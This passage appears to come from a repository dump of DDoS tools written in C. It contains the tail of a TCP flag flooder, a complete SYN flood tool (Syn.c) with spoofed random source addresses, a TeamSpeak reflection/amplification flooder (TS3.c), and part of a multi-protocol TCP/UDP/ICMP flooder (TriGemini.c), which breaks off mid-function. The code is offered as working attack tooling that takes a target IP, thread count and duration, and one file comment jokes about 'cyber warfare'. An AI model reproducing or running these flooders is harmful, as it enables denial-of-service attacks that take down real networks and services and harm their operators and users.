129 | 	memset(datagram, 0, MAX_PACKET_SIZE);
130 | 	setup_ip_header(iph);
131 | 	setup_tcp_header(tcph);
132 | 	tcph->dest = htons(floodport);
133 | 	iph->daddr = sin.sin_addr.s_addr;
134 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
135 | 	int tmp = 1;
136 | 	const int *val = &tmp;
137 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
138 | 	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
139 | 	exit(-1);
140 | 	}
141 | 	init_rand(time(NULL));
142 | 	register unsigned int i;
143 | 	i = 0;
144 | 	while(1){
145 | 	sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
146 | 	iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
147 | 	iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
148 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
149 | 	tcph->seq = rand_cmwc() & 0xFFFF;
150 | 	tcph->source = htons(rand_cmwc() & 0xFFFF);
151 | 	tcph->check = 0;
152 | 	tcph->check = tcpcsum(iph, tcph);
153 | 	pps++;
154 | 	if(i >= limiter)
155 | 	{
156 | 	i = 0;
157 | 	usleep(sleeptime);
158 | 	}
159 | 	i++;
160 | 	}
161 | }
162 | int main(int argc, char *argv[ ])
163 | {
164 | 	if(argc < 7){
165 | 	fprintf(stderr, "Invalid parameters!\n");
166 | 	fprintf(stdout, "Usage: %s <target IP> <port> <threads> <pps limiter, -1 for no limit> <time> <ack,syn,psh,fin,rst,urg,ptr,res2,seq>\n", argv[0]);
167 | 	exit(-1);
168 | 	}
169 | 	fprintf(stdout, "Opening sockets...\n");
170 | 	int num_threads = atoi(argv[3]);
171 | 	floodport = atoi(argv[2]);
172 | 	int maxpps = atoi(argv[4]);
173 | 	limiter = 0;
174 | 	pps = 0;
175 | 	pthread_t thread[num_threads];
176 | 	if(strstr(argv[6], "ack"))
177 | 	ack  = 1;
178 | 	else
179 | 	ack  = 0;
180 | 	if(strstr(argv[6], "seq"))
181 | 	seq = 1;
182 | 	else
183 | 	seq = 0;
184 | 	if(strstr(argv[6], "psh"))
185 | 	psh = 1;
186 | 	else
187 | 	psh = 0;
188 | 	if(strstr(argv[6], "fin"))
189 | 	fin  = 1;
190 | 	else
191 | 	fin  = 0;
192 | 	if(strstr(argv[6], "rst"))
193 | 	rst = 1;
194 | 	else
195 | 	rst = 0;
196 | 	if(strstr(argv[6], "res2"))
197 | 	res2 = 1;
198 | 	else
199 | 	res2 = 0;
200 | 	if(strstr(argv[6], "syn"))
201 | 	syn = 1;
202 | 	else
203 | 	syn = 0;
204 | 	if(strstr(argv[6], "urg"))
205 | 	urg = 1;
206 | 	else
207 | 	urg = 0;
208 | 	if(strstr(argv[6], "ptr"))
209 | 	ptr = 1;
210 | 	else
211 | 	ptr = 0;
212 | 	int multiplier = 20;
213 | 	int i;
214 | 	for(i = 0;i<num_threads;i++){
215 | 	pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
216 | 	}
217 | 	fprintf(stdout, "Sending attack...\n");
218 | 	for(i = 0;i<(atoi(argv[5])*multiplier);i++)
219 | 	{
220 | 		usleep((1000/multiplier)*1000);
221 | 		if((pps*multiplier) > maxpps)
222 | 		{
223 | 			if(1 > limiter)
224 | 			{
225 | 				sleeptime+=100;
226 | 			} else {
227 | 				limiter--;
228 | 			}
229 | 		} else {
230 | 			limiter++;
231 | 			if(sleeptime > 25)
232 | 			{
233 | 				sleeptime-=25;
234 | 			} else {
235 | 				sleeptime = 0;
236 | 			}
237 | 		}
238 | 		pps = 0;
239 | 	}
240 | 
241 | 	return 0;
242 | }


--------------------------------------------------------------------------------
/Syn.c:
--------------------------------------------------------------------------------
  1 | /*
  2 | 	This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
  3 | */
  4 | #include <unistd.h>
  5 | #include <time.h>
  6 | #include <sys/types.h>
  7 | #include <sys/socket.h>
  8 | #include <sys/ioctl.h>
  9 | #include <string.h>
 10 | #include <stdlib.h>
 11 | #include <stdio.h>
 12 | #include <pthread.h>
 13 | #include <netinet/tcp.h>
 14 | #include <netinet/ip.h>
 15 | #include <netinet/in.h>
 16 | #include <netinet/if_ether.h>
 17 | #include <netdb.h>
 18 | #include <net/if.h>
 19 | #include <arpa/inet.h>
 20 | #define MAX_PACKET_SIZE 4096
 21 | #define PHI 0x9e3779b9
 22 | static unsigned long int Q[4096], c = 362436;
 23 | volatile int limiter;
 24 | volatile unsigned int pps;
 25 | volatile unsigned int sleeptime = 100;
 26 | void init_rand(unsigned long int x)
 27 | {
 28 | 	int i;
 29 | 	Q[0] = x;
 30 | 	Q[1] = x + PHI;
 31 | 	Q[2] = x + PHI + PHI;
 32 | 	for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 33 | }
 34 | unsigned long int rand_cmwc(void)
 35 | {
 36 | 	unsigned long long int t, a = 18782LL;
 37 | 	static unsigned long int i = 4095;
 38 | 	unsigned long int x, r = 0xfffffffe;
 39 | 	i = (i + 1) & 4095;
 40 | 	t = a * Q[i] + c;
 41 | 	c = (t >> 32);
 42 | 	x = t + c;
 43 | 	if (x < c) {
 44 | 	x++;
 45 | 	c++;
 46 | 	}
 47 | 	return (Q[i] = r - x);
 48 | }
 49 | unsigned short csum (unsigned short *buf, int count)
 50 | {
 51 | 	register unsigned long sum = 0;
 52 | 	while( count > 1 ) { sum += *buf++; count -= 2; }
 53 | 	if(count > 0) { sum += *(unsigned char *)buf; }
 54 | 	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 55 | 	return (unsigned short)(~sum);
 56 | }
 57 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 58 | 	struct tcp_pseudo
 59 | 	{
 60 | 	unsigned long src_addr;
 61 | 	unsigned long dst_addr;
 62 | 	unsigned char zero;
 63 | 	unsigned char proto;
 64 | 	unsigned short length;
 65 | 	} pseudohead;
 66 | 	unsigned short total_len = iph->tot_len;
 67 | 	pseudohead.src_addr=iph->saddr;
 68 | 	pseudohead.dst_addr=iph->daddr;
 69 | 	pseudohead.zero=0;
 70 | 	pseudohead.proto=IPPROTO_TCP;
 71 | 	pseudohead.length=htons(sizeof(struct tcphdr));
 72 | 	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 73 | 	unsigned short *tcp = malloc(totaltcp_len);
 74 | 	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 75 | 	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 76 | 	unsigned short output = csum(tcp,totaltcp_len);
 77 | 	free(tcp);
 78 | 	return output;
 79 | }
 80 | void setup_ip_header(struct iphdr *iph)
 81 | {
 82 | 	iph->ihl = 5;
 83 | 	iph->version = 4;
 84 | 	iph->tos = 0;
 85 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 86 | 	iph->id = htonl(54321);
 87 | 	iph->frag_off = 0;
 88 | 	iph->ttl = MAXTTL;
 89 | 	iph->protocol = 6;
 90 | 	iph->check = 0;
 91 | 	iph->saddr = inet_addr("192.168.3.100");
 92 | }
 93 | void setup_tcp_header(struct tcphdr *tcph)
 94 | {
 95 | 	tcph->source = htons(5678);
 96 | 	tcph->seq = rand();
 97 | 	tcph->ack_seq = 1;
 98 | 	tcph->res2 = 0;
 99 | 	tcph->doff = 5;
100 | 	tcph->syn = 1;
101 | 	tcph->window = htons(65535);
102 | 	tcph->check = 0;
103 | 	tcph->urg_ptr = 0;
104 | }
105 | void *flood(void *par1)
106 | {
107 | 	char *td = (char *)par1;
108 | 	char datagram[MAX_PACKET_SIZE];
109 | 	struct iphdr *iph = (struct iphdr *)datagram;
110 | 	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
111 | 	struct sockaddr_in sin;
112 | 	sin.sin_family = AF_INET;
113 | 	sin.sin_port = htons (rand() % 20480);
114 | 	sin.sin_addr.s_addr = inet_addr(td);
115 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
116 | 	if(s < 0){
117 | 	fprintf(stderr, ":: cant open raw socket. got root?\n");
118 | 	exit(-1);
119 | 	}
120 | 	memset(datagram, 0, MAX_PACKET_SIZE);
121 | 	setup_ip_header(iph);
122 | 	setup_tcp_header(tcph);
123 | 	tcph->dest = htons (rand() % 20480);
124 | 	iph->daddr = sin.sin_addr.s_addr;
125 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
126 | 	int tmp = 1;
127 | 	const int *val = &tmp;
128 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
129 | 	fprintf(stderr, ":: motherfucking error.\n");
130 | 	exit(-1);
131 | 	}
132 | 	init_rand(time(NULL));
133 | 	register unsigned int i;
134 | 	i = 0;
135 | 	while(1){
136 | 	sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
137 | 	iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
138 | 	iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
139 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
140 | 	tcph->seq = rand_cmwc() & 0xFFFF;
141 | 	tcph->source = htons(rand_cmwc() & 0xFFFF);
142 | 	tcph->check = 0;
143 | 	tcph->check = tcpcsum(iph, tcph);
144 | 	pps++;
145 | 	if(i >= limiter)
146 | 	{
147 | 	i = 0;
148 | 	usleep(sleeptime);
149 | 	}
150 | 	i++;
151 | 	}
152 | }
153 | int main(int argc, char *argv[ ])
154 | {
155 | 	if(argc < 5){
156 | 		fprintf(stderr, "Invalid parameters!\n");
157 | 		fprintf(stdout, "Usage: %s <IP> <threads <throttle, -1 for no throttle> <time>\n", argv[0]);
158 | 		exit(-1);
159 | 	}
160 | 	int num_threads = atoi(argv[2]);
161 | 	int maxpps = atoi(argv[3]);
162 | 	limiter = 0;
163 | 	pps = 0;
164 | 	pthread_t thread[num_threads];
165 | 	int multiplier = 20;
166 | 	int i;
167 | 	for(i = 0;i<num_threads;i++){
168 | 	pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
169 | 	}
170 | 	fprintf(stdout, ":: sending all the packets..\n");
171 | 	for(i = 0;i<(atoi(argv[4])*multiplier);i++)
172 | 	{
173 | 	usleep((1000/multiplier)*1000);
174 | 	if((pps*multiplier) > maxpps)
175 | 	{
176 | 	if(1 > limiter)
177 | 	{
178 | 	sleeptime+=100;
179 | 	} else {
180 | 	limiter--;
181 | 	}
182 | 	} else {
183 | 	limiter++;
184 | 	if(sleeptime > 25)
185 | 	{
186 | 	sleeptime-=25;
187 | 	} else {
188 | 	sleeptime = 0;
189 | 	}
190 | 	}
191 | 	pps = 0;
192 | 	}
193 | 	return 0;
194 | }


--------------------------------------------------------------------------------
/TS3.c:
--------------------------------------------------------------------------------
  1 | /* NEW AND IMPROVED TS3 DDOS SCRIPT. */
  2 | 
  3 | #include <time.h>
  4 | #include <pthread.h>
  5 | #include <unistd.h>
  6 | #include <stdio.h>
  7 | #include <stdlib.h>
  8 | #include <string.h>
  9 | #include <sys/socket.h>
 10 | #include <netinet/ip.h>
 11 | #include <netinet/udp.h>
 12 | #include <arpa/inet.h>
 13 | #define MAX_PACKET_SIZE 8192
 14 | #define PHI 0x9e3779b9
 15 | static uint32_t Q[4096], c = 362436;
 16 | struct list
 17 | {
 18 | 	struct sockaddr_in data;
 19 | 	struct list *next;
 20 | 	struct list *prev;
 21 | };
 22 | struct list *head;
 23 | volatile int tehport;
 24 | volatile int limiter;
 25 | volatile unsigned int pps;
 26 | volatile unsigned int sleeptime = 100;
 27 | struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
 28 | void init_rand(uint32_t x)
 29 | {
 30 | 	int i;
 31 | 	Q[0] = x;
 32 | 	Q[1] = x + PHI;
 33 | 	Q[2] = x + PHI + PHI;
 34 | 	for (i = 3; i < 4096; i++)
 35 | 	{
 36 | 	Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 37 | 	}
 38 | }
 39 | uint32_t rand_cmwc(void)
 40 | {
 41 | 	uint64_t t, a = 18782LL;
 42 | 	static uint32_t i = 4095;
 43 | 	uint32_t x, r = 0xfffffffe;
 44 | 	i = (i + 1) & 4095;
 45 | 	t = a * Q[i] + c;
 46 | 	c = (t >> 32);
 47 | 	x = t + c;
 48 | 	if (x < c) {
 49 | 	x++;
 50 | 	c++;
 51 | 	}
 52 | 	return (Q[i] = r - x);
 53 | }
 54 | unsigned short csum (unsigned short *buf, int nwords)
 55 | {
 56 | 	unsigned long sum = 0;
 57 | 	for (sum = 0; nwords > 0; nwords--)
 58 | 	sum += *buf++;
 59 | 	sum = (sum >> 16) + (sum & 0xffff);
 60 | 	sum += (sum >> 16);
 61 | 	return (unsigned short)(~sum);
 62 | }
 63 | void setup_ip_header(struct iphdr *iph)
 64 | {
 65 | 	iph->ihl = 5;
 66 | 	iph->version = 4;
 67 | 	iph->tos = 0;
 68 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 14;
 69 | 	iph->id = htonl(54321);
 70 | 	iph->frag_off = 0;
 71 | 	iph->ttl = MAXTTL;
 72 | 	iph->protocol = IPPROTO_UDP;
 73 | 	iph->check = 0;
 74 | 	iph->saddr = inet_addr("192.168.3.100");
 75 | }
 76 | void setup_udp_header(struct udphdr *udph)
 77 | {
 78 | 	udph->source = htons(5678);
 79 |         udph->dest = htons(9987);
 80 |         udph->check = 0;
 81 |         memcpy((void *)udph + sizeof(struct udphdr), "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", 14);
 82 |         udph->len=htons(sizeof(struct udphdr) + 14);
 83 | }
 84 | void *flood(void *par1)
 85 | {
 86 | 	struct thread_data *td = (struct thread_data *)par1;
 87 | 	char datagram[MAX_PACKET_SIZE];
 88 | 	struct iphdr *iph = (struct iphdr *)datagram;
 89 | 	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 90 | 	struct sockaddr_in sin = td->sin;
 91 | 	struct  list *list_node = td->list_node;
 92 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 93 | 	if(s < 0){
 94 | 	fprintf(stderr, "Could not open raw socket.\n");
 95 | 	exit(-1);
 96 | 	}
 97 | 	init_rand(time(NULL));
 98 | 	memset(datagram, 0, MAX_PACKET_SIZE);
 99 | 	setup_ip_header(iph);
100 | 	setup_udp_header(udph);
101 | 	udph->source = htons(rand() % 65535 - 1026);
102 | 	iph->saddr = sin.sin_addr.s_addr;
103 | 	iph->daddr = list_node->data.sin_addr.s_addr;
104 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
105 | 	int tmp = 1;
106 | 	const int *val = &tmp;
107 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
108 | 	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
109 | 	exit(-1);
110 | 	}
111 | 	init_rand(time(NULL));
112 | 	register unsigned int i;
113 | 	i = 0;
114 | 	while(1){
115 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
116 | 		list_node = list_node->next;
117 | 		iph->daddr = list_node->data.sin_addr.s_addr;
118 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
119 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
120 | 		
121 | 		pps++;
122 | 		if(i >= limiter)
123 | 		{
124 | 			i = 0;
125 | 			usleep(sleeptime);
126 | 		}
127 | 		i++;
128 | 	}
129 | }
130 | int main(int argc, char *argv[ ])
131 | {
132 | 	if(argc < 6){
133 | 	fprintf(stderr, "Invalid parameters!\n");
134 | 	fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
135 | 		exit(-1);
136 | 	}
137 | 	srand(time(NULL));
138 | 	int i = 0;
139 | 	head = NULL;
140 | 	fprintf(stdout, "Setting up sockets...\n");
141 | 	int max_len = 128;
142 | 	char *buffer = (char *) malloc(max_len);
143 | 	buffer = memset(buffer, 0x00, max_len);
144 | 	int num_threads = atoi(argv[4]);
145 | 	int maxpps = atoi(argv[5]);
146 | 	limiter = 0;
147 | 	pps = 0;
148 | 	int multiplier = 20;
149 | 	FILE *list_fd = fopen(argv[3],  "r");
150 | 	while (fgets(buffer, max_len, list_fd) != NULL) {
151 | 		if ((buffer[strlen(buffer) - 1] == '\n') ||
152 | 				(buffer[strlen(buffer) - 1] == '\r')) {
153 | 			buffer[strlen(buffer) - 1] = 0x00;
154 | 			if(head == NULL)
155 | 			{
156 | 				head = (struct list *)malloc(sizeof(struct list));
157 | 				bzero(&head->data, sizeof(head->data));
158 | 				head->data.sin_addr.s_addr=inet_addr(buffer);
159 | 				head->next = head;
160 | 				head->prev = head;
161 | 			} else {
162 | 				struct list *new_node = (struct list *)malloc(sizeof(struct list));
163 | 				memset(new_node, 0x00, sizeof(struct list));
164 | 				new_node->data.sin_addr.s_addr=inet_addr(buffer);
165 | 				new_node->prev = head;
166 | 				new_node->next = head->next;
167 | 				head->next = new_node;
168 | 			}
169 | 			i++;
170 | 		} else {
171 | 			continue;
172 | 		}
173 | 	}
174 | 	struct list *current = head->next;
175 | 	pthread_t thread[num_threads];
176 | 	struct sockaddr_in sin;
177 | 	sin.sin_family = AF_INET;
178 | 	sin.sin_addr.s_addr = inet_addr(argv[1]);
179 | 	struct thread_data td[num_threads];
180 | 	for(i = 0;i<num_threads;i++){
181 | 		td[i].thread_id = i;
182 | 		td[i].sin= sin;
183 | 		td[i].list_node = current;
184 | 		pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
185 | 	}
186 | 	fprintf(stdout, "Starting flood...\n");
187 | 	for(i = 0;i<(atoi(argv[6])*multiplier);i++)
188 | 	{
189 | 		usleep((1000/multiplier)*1000);
190 | 		if((pps*multiplier) > maxpps)
191 | 		{
192 | 			if(1 > limiter)
193 | 			{
194 | 				sleeptime+=100;
195 | 			} else {
196 | 				limiter--;
197 | 			}
198 | 		} else {
199 | 			limiter++;
200 | 			if(sleeptime > 25)
201 | 			{
202 | 				sleeptime-=25;
203 | 			} else {
204 | 				sleeptime = 0;
205 | 			}
206 | 		}
207 | 		pps = 0;
208 | 	}
209 | 	return 0;
210 | }


--------------------------------------------------------------------------------
/TriGemini.c:
--------------------------------------------------------------------------------
  1 | /*	welcome to the Gemini project.	*/
  2 | 
  3 | #include <stdio.h>
  4 | #include <stdlib.h>
  5 | #include <unistd.h>
  6 | #include <netdb.h>
  7 | #include <sys/types.h>
  8 | #ifdef F_PASS
  9 | #include <sys/stat.h>
 10 | #endif
 11 | #include <netinet/in_systm.h>                                                  
 12 | #include <sys/socket.h>
 13 | #include <string.h>
 14 | #include <time.h>
 15 | #ifndef __USE_BSD
 16 | #   define __USE_BSD
 17 | #endif
 18 | #ifndef __FAVOR_BSD
 19 | #   define __FAVOR_BSD
 20 | #endif
 21 | #include <netinet/in.h>
 22 | #include <netinet/ip.h>
 23 | #include <netinet/tcp.h>
 24 | #include <netinet/udp.h>
 25 | #include <netinet/ip_icmp.h>
 26 | #include <arpa/inet.h>
 27 | #ifdef LINUX
 28 | #   define FIX(x)  htons(x)
 29 | #else
 30 | #   define FIX(x)  (x)
 31 | #endif
 32 | #define TCP_ACK         1
 33 | #define TCP_FIN         2
 34 | #define TCP_SYN         4
 35 | #define TCP_RST         8
 36 | #define UDP_CFF        16
 37 | #define ICMP_ECHO_G    32
 38 | #define TCP_NOF        64
 39 | #define TCP_URG        128
 40 | #define TH_NOF         0x0
 41 | #define TCP_ATTACK()    (a_flags & TCP_ACK ||\
 42 |                          a_flags & TCP_FIN ||\
 43 |                          a_flags & TCP_SYN ||\
 44 |                          a_flags & TCP_RST ||\
 45 |                          a_flags & TCP_NOF ||\
 46 |                          a_flags & TCP_URG )
 47 | #define UDP_ATTACK()    (a_flags & UDP_CFF)
 48 | #define ICMP_ATTACK()   (a_flags & ICMP_ECHO_G)
 49 | #define CHOOSE_DST_PORT() dst_sp == 0 ?\
 50 |                           random ()   :\
 51 |                           htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
 52 | #define CHOOSE_SRC_PORT() src_sp == 0 ?\
 53 |                           random ()   :\
 54 |                           htons(src_sp + (random() % (src_ep -src_sp +1)));
 55 | #define SEND_PACKET()   if (sendto(rawsock,\
 56 |                                    &packet,\
 57 |                                    (sizeof packet),\
 58 |                                    0,\
 59 |                                    (struct sockaddr *)&target,\
 60 |                                     sizeof target) < 0) {\
 61 |                                         perror("sendto");\
 62 |                                         exit(-1);\
 63 |                         }
 64 | #define BANNER_CKSUM 54018
 65 | u_long lookup(const char *host);
 66 | unsigned short in_cksum(unsigned short *addr, int len);                        
 67 | static void inject_iphdr(struct ip *ip, u_char p, u_char len);
 68 | char *class2ip(const char *class);
 69 | static void send_tcp(u_char th_flags);
 70 | static void send_udp(u_char garbage);
 71 | static void send_icmp(u_char garbage);
 72 | char *get_plain(const char *crypt_file, const char *xor_data_key);
 73 | static void usage(const char *argv0);
 74 | u_long dstaddr;
 75 | u_short dst_sp, dst_ep, src_sp, src_ep;
 76 | char *src_class, *dst_class;
 77 | int a_flags, rawsock;
 78 | struct sockaddr_in target;
 79 | const char *banner = "\e[1;37m(\e[0m\e[0;31mGemini\e[0m\e[1;37m)\e[0m-\e[1;37mby\e[0m-\e[1;37m(\e[0m\e[0;31mFabio\e[0m\e[1;37m)\e[0m";
 80 | struct pseudo_hdr {         
 81 |     u_long saddr, daddr;    
 82 |     u_char mbz, ptcl;       
 83 |     u_short tcpl;           
 84 | };
 85 | struct cksum {
 86 |     struct pseudo_hdr pseudo;
 87 |     struct tcphdr tcp;
 88 | };
 89 | struct {
 90 |     int gv; 
 91 |     int kv; 
 92 |     void (*f)(u_char);
 93 | } a_list[] = {
 94 |     { TCP_ACK, TH_ACK, send_tcp },
 95 |     { TCP_FIN, TH_FIN, send_tcp },
 96 |     { TCP_SYN, TH_SYN, send_tcp },
 97 |     { TCP_RST, TH_RST, send_tcp },
 98 |     { TCP_NOF, TH_NOF, send_tcp },
 99 |     { TCP_URG, TH_URG, send_tcp },
100 |     { UDP_CFF, 0, send_udp },
101 |     { ICMP_ECHO_G, ICMP_ECHO, send_icmp },
102 |     { 0, 0, (void *)NULL },
103 | };
104 | int
105 | main(int argc, char *argv[])
106 | {
107 |     int n, i, on = 1;
108 |     int b_link;
109 | #ifdef F_PASS
110 |     struct stat sb;
111 | #endif
112 |     unsigned int until;
113 |     a_flags = dstaddr = i = 0;
114 |     dst_sp = dst_ep = src_sp = src_ep = 0;
115 |     until = b_link = -1;
116 |     src_class = dst_class = NULL;
117 |     while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) {
118 |         char *p;
119 |         switch (n) {
120 |             case 'T':
121 |                 switch (atoi(optarg)) {
122 |                     case 0: a_flags |= TCP_ACK; break;
123 |                     case 1: a_flags |= TCP_FIN; break;
124 |                     case 2: a_flags |= TCP_RST; break;
125 |                     case 3: a_flags |= TCP_SYN; break;
126 | 
127 |                     case 4: a_flags |= TCP_URG; break;
128 | 
129 | 
130 |                 }
131 |                 break;
132 |             case 'U':
133 |                 a_flags |= UDP_CFF;
134 |                 break;
135 |             case 'I': 
136 |                 a_flags |= ICMP_ECHO_G;
137 |                 break;
138 |             case 'N': 
139 |                 a_flags |= TCP_NOF;
140 |                 break;
141 |             case 's':
142 |                 src_class = optarg;
143 |                 break;
144 |             case 'h':
145 |                 dstaddr = lookup(optarg);    
146 |                 break;
147 |             case 'd':
148 |                 dst_class = optarg;
149 |                 i = 1; 
150 |                 break;
151 |             case 'p':
152 |                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
153 |                     usage(argv[0]);
154 |                 dst_sp = atoi(optarg); 
155 |                 dst_ep = atoi(p +1);  
156 |                 break;
157 |             case 'q':
158 |                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
159 |                     usage(argv[0]);
160 |                 src_sp = atoi(optarg); 
161 |                 src_ep = atoi(p +1); 
162 |                 break;
163 |             case 'l':
164 |                 b_link = atoi(optarg);
165 |                 if (b_link <= 0 || b_link > 100)
166 |                     usage(argv[0]);
167 |                 break;
168 |             case 't':
169 |                 until = time(0) +atoi(optarg);
170 |                 break;
171 |             default:
172 |                 usage(argv[0]);
173 |                 break;
174 |         }
175 |     }
176 |     if ( (!dstaddr && !i) ||
177 |          (dstaddr && i) ||
178 |          (!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
179 |          (src_sp != 0 && src_sp > src_ep) ||
180 |          (dst_sp != 0 && dst_sp > dst_ep))
181 |             usage(argv[0]);
182 |     srandom(time(NULL) ^ getpid());
183 |     if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
184 |         perror("socket");
185 |         exit(-1);
186 |     }
187 |     if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
188 |         (char *)&on, sizeof(on)) < 0) {
189 |             perror("setsockopt");
190 |             exit(-1);
191 |     }
192 |     target.sin_family           = AF_INET;
193 |     for (n = 0; ; ) {
194 |         if (b_link != -1 && random() % 100 +1 > b_link) {
195 |             if (random() % 200 +1 > 199)
196 |                 usleep(1);
197 |             continue;
198 |         }
199 |         for (i = 0; a_list[i].f != NULL; ++i) {
200 |             if (a_list[i].gv & a_flags)
201 |                 a_list[i].f(a_list[i].kv);
202 |         }        
203 |         if (n++ == 100) {
204 |             if (until != -1 && time(0) >= until) break;
205 |             n = 0;
206 |         }
207 |     }          
208 |     exit(0);
209 | }
210 | u_long
211 | lookup(const char *host)
212 | {
213 |     struct hostent *hp;
214 |   
215 |     if ( (hp = gethostbyname(host)) == NULL) {
216 |         perror("gethostbyname");
217 |         exit(-1);
218 |     }
219 |     return *(u_long *)hp->h_addr;
220 | }
221 | #define RANDOM() (int) random() % 255 +1
222 | char *
223 | class2ip(const char *class)
224 | {
225 |     static char ip[16];
226 |     int i, j;
227 |   
228 |     for (i = 0, j = 0; class[i] != '{TEXTO}'; ++i)
229 |         if (class[i] == '.')
230 |             ++j;
231 |     switch (j) {
232 |         case 0:
233 |             sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
234 |             break;
235 |         case 1:
236 |             sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
237 |             break;
238 |         case 2:
239 |             sprintf(ip, "%s.%d", class, RANDOM());
240 |             break;
241 |         default: strncpy(ip, class, 16);
242 |                  break;
243 |     }
244 |     return ip;
245 | }
246 | unsigned short
247 | in_cksum(unsigned short *addr, int len)
248 | {
249 |     int nleft = len;
250 |     int sum = 0;
251 |     unsigned short *w = addr;
252 |     unsigned short answer = 0;
253 |     while (nleft > 1) {
254 |         sum += *w++;
255 |         nleft -= 2;
256 |     }
257 |     if (nleft == 1) {
258 |         *(unsigned char *) (&answer) = *(unsigned char *)w;
259 |         sum += answer;
260 |     }
261 |     sum    = (sum >> 16) + (sum & 0xffff);  
262 |     sum   += (sum >> 16);                   
263 |     answer = ~sum;                         
264 |     return answer;
265 | }
266 | static void
267 | inject_iphdr(struct ip *ip, u_char p, u_char len)
268 | {
269 |     ip->ip_hl             = 5;
270 |     ip->ip_v              = 4;
271 |     ip->ip_p              = p;
272 |     ip->ip_tos            = 0x08; /* 0x08 */
273 |     ip->ip_id             = random();
274 |     ip->ip_len            = len;
275 |     ip->ip_off            = 0;
276 |     ip->ip_ttl            = 255;
277 |     ip->ip_dst.s_addr     = dst_class != NULL ?
278 |                             inet_addr(class2ip(dst_class)) :
279 |                             dstaddr; 
280 |     ip->ip_src.s_addr     = src_class != NULL ?
281 |                             inet_addr(class2ip(src_class)) :
282 |                             random();
283 |     target.sin_addr.s_addr = ip->ip_dst.s_addr;
284 | }    
285 | static void
286 | send_tcp(u_char th_flags)
287 | {
288 |     struct cksum cksum;
289 |     struct packet {
290 |        struct ip ip;
291 |         struct tcphdr tcp;
292 |     } packet;
293 |     memset(&packet, 0, sizeof packet);
294 |     inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
295 |     packet.ip.ip_sum        = in_cksum((void *)&packet.ip, 20);
296 |     cksum.pseudo.daddr      = dstaddr;
297 |     cksum.pseudo.mbz        = 0;
298 |     cksum.pseudo.ptcl       = IPPROTO_TCP;
299 |     cksum.pseudo.tcpl       = htons(sizeof(struct tcphdr));
300 |     cksum.pseudo.saddr      = packet.ip.ip_src.s_addr;
301 |     packet.tcp.th_flags     = random();
302 |     packet.tcp.th_win       = random();
303 |     packet.tcp.th_seq       = random();
304 |     packet.tcp.th_ack       = random();
305 |     packet.tcp.th_off       = 5;
306 |     packet.tcp.th_urp       = 0;
307 |     packet.tcp.th_sport     = CHOOSE_SRC_PORT();
308 |     packet.tcp.th_dport     = CHOOSE_DST_PORT();
309 |     cksum.tcp               = packet.tcp;
310 |     packet.tcp.th_sum       = in_cksum((void *)&cksum, sizeof(cksum));
311 |     SEND_PACKET();
312 | }
313 | static void
314 | send_udp(u_char garbage) 
315 | {                      
316 |     struct packet {
317 |         struct ip ip;
318 |         struct udphdr udp;
319 |     } packet;
